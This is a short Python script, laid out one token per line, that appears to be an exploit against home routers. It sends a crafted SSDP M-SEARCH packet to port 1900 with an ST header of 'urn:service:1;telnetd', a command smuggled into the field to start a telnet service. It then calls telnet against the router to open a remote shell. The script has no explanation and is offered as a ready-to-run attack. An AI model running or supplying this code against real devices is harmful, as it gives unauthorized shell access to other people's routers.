import
binascii
import
sys
import
os
import
socket
from
time
import
sleep
def
config_payload(ip, port):
header
=
"M-SEARCH * HTTP/1.1\n"
header
+
=
"HOST:"
+
str
(ip)
+
":"
+
str
(port)
+
"\n"
header
+
=
"ST:urn:service:1;telnetd\n"
header
+
=
"MX:2\n"
header
+
=
'MAN:"ssdp:discover"'
+
"\n\n"
return
header
def
send_conexion(ip, port, payload):
sock
=
socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL,
2
)
sock.sendto(bytes(payload, encoding
=
"utf8"
), (ip, port))
sock.close()
if
__name__
=
=
"__main__"
:
ip
=
input
(
"Router IP: "
)
port
=
1900
headers
=
config_payload(ip, port)
send_conexion(ip, port, headers)
sleep(
5
)
os.system(
'telnet '
+
str
(ip))